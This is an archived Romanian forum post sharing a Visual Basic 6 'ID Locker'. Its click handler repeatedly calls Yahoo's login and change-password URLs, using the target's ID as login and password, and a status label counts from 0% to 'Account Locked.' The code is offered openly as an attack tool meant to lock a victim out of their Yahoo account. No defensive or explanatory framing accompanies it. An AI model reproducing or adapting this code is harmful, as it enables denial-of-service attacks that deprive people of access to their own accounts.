[VB6] ID Locker

Arhiva forumului

Moderatori: Moderator Global, Administrator

Încuiat
Fabr3gas

Cod: Selectaţi tot

Private Sub Command1_Click()
Label1 = "Status: Locking 0%"
Dim StrPage As String
StrPage = Inet1.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 5%"
StrPage = Inet1.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 10%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet3.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 15 %"
StrPage = Inet3.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet4.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 20%"
StrPage = Inet4.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 25%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet3.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 30%"
StrPage = Inet3.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet4.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 35%"
StrPage = Inet4.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 40%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet3.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 45%"
StrPage = Inet3.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet4.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 50%"
StrPage = Inet4.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 55%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet3.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 60%"
StrPage = Inet3.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet4.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 65%"
StrPage = Inet4.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 70%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet3.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 75%"
StrPage = Inet3.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet4.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 80%"
StrPage = Inet4.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 85%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet3.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 90%"
StrPage = Inet3.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet4.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 95%"
StrPage = Inet4.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
StrPage = ""
StrPage = Inet2.OpenURL("http://login.yahoo.com/config?login=" & Text1.Text & "&passwd=" & Text1.Text & "&.done=http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Locking 100%"
StrPage = Inet2.OpenURL("http://edit.yahoo.com/config/change_pw?.src=&.opw=" & Text1.Text & "&.pw1=" & Text1.Text & "&.pw2=" & Text1.Text & "&.commit=Save")
Label1 = "Status: Account Locked."
StrPage = ""
End Sub
Sus
Încuiat

Înapoi la “Arhiva forum”